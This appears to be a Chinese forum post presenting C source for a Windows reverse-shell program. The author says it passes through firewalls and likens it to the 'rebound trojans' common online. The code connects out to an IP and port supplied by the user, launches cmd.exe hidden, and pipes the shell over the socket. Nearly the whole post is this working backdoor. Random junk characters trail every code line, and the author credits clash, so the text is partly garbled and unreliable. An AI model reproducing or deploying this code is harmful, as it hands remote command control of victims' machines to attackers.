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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 lbuW*)  
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/* ============================== |KrG3-i3X  
Rebound port in Windows NT W0T i ^@  
By wind,2006/7 <pl2 dxy  
===============================*/ ,vdP #:  
#include s$\8)V52  
#include wrb& ta  
q~dg   
#pragma comment(lib,"wsock32.lib") @G$<6CG\  
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void OutputShell(); #M9D" <pn}  
SOCKET sClient; \^(vlcy  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 7 KdM>1!  
1 l*(8!_  
void main(int argc,char **argv) q {+poV X  
{ P$qkb|D,  
WSADATA stWsaData; F)iG D~  
int nRet;  nIDsCu=A  
SOCKADDR_IN stSaiClient,stSaiServer; _NqT8C4C  
'>mb@m  
if(argc != 3) pr,1Wp0l  
{ KJJb^6P48W  
printf("Useage:\n\rRebound DestIP DestPort\n"); `rdfROKv  
return; NlEWm8u   
} _5S$mc8K0  
JTB~nd>  
WSAStartup(MAKEWORD(2,2),&stWsaData); q.b4m 'J  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); g!Yh=kA'N  
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stSaiClient.sin_family = AF_INET; Hi" n GH  
stSaiClient.sin_port = htons(0); Z#t)Z "  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 6F&]Mk]V8  
K2MNaB   
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 8EEQV}4  
{ IS4K$Ac.  
printf("Bind Socket Failed!\n"); 59Q Q_#>  
return; 32|L $o  
} $H@)hY8wA  
2 Yd~v|  
stSaiServer.sin_family = AF_INET; O*/-I pM  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); GJt9hDM$0  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 3N*C]  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) C(*@-N pf[  
{ j=QR*8*  
printf("Connect Error!"); GhQ`{iJM  
return; kDP^[V P+  
} 5{/Pn%5  
OutputShell(); 3v>,c>b([  
} _7"W\gn:9  
gH// TbS  
void OutputShell() )hJjVitG  
{ p}|wO&4h  
char szBuff[1024]; dB/I2uGl>  
SECURITY_ATTRIBUTES stSecurityAttributes; !3 Z|!JY  
OSVERSIONINFO stOsversionInfo; L\b_,'I  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 8[`<u[Iv  
STARTUPINFO stStartupInfo; `[:1!I.}-  
char *szShell; YIUmCx0a  
PROCESS_INFORMATION stProcessInformation; d*(Bs $De  
unsigned long lBytesRead; i{[H3p8  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); P(nHXVSUE  
7^ {hn_%;  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); #I~dv{RX  
stSecurityAttributes.lpSecurityDescriptor = 0; PH%gX`N  
stSecurityAttributes.bInheritHandle = TRUE; ;~$ $WU  
7:q-NzE\6  
Or) c*.|\  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); +Qb/:xQu  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); *xTquV$  
;p!hd }C  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); :BxYaAVt^  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ZLX`[   
stStartupInfo.wShowWindow = SW_HIDE; &:f'{>3z  
stStartupInfo.hStdInput = hReadPipe; #(J}xz;  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 7{F9b0zwk  
p)&\>   
GetVersionEx(&stOsversionInfo); l"y9XO|  
= d.W'q|  
switch(stOsversionInfo.dwPlatformId) A2_3zrE  
{ K5rj!*x.o  
case 1: \1'R}B@;  
szShell = "command.com"; u N0fWj]  
break;  VgoKi  
default: "hY^[@7 W  
szShell = "cmd.exe"; K2`WcEe  
break; :!15>ML;-  
} ?ML<o>OKg  
-+@~*$ d  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Awf = yE:  
8vo7~6yy  
send(sClient,szMsg,77,0); |RXC;zt9s  
while(1) l^?A8jG  
{ B_jI!i{N%o  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); }C`0" 1  
if(lBytesRead) 8&hn$~ate  
{ F ) ~pw  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); QnLg P7Ft  
send(sClient,szBuff,lBytesRead,0); `^k<.O  
} MtTHKp   
else T sW6w  
{ O[B_7  
lBytesRead=recv(sClient,szBuff,1024,0); <!XnUCtV  
if(lBytesRead<=0) break; luog_;{h+  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); P,=J"%a-  
}  HcS^3^Y  
} F4(U~n<  
D|'Z c &  
return; jt?%03iuk  
}
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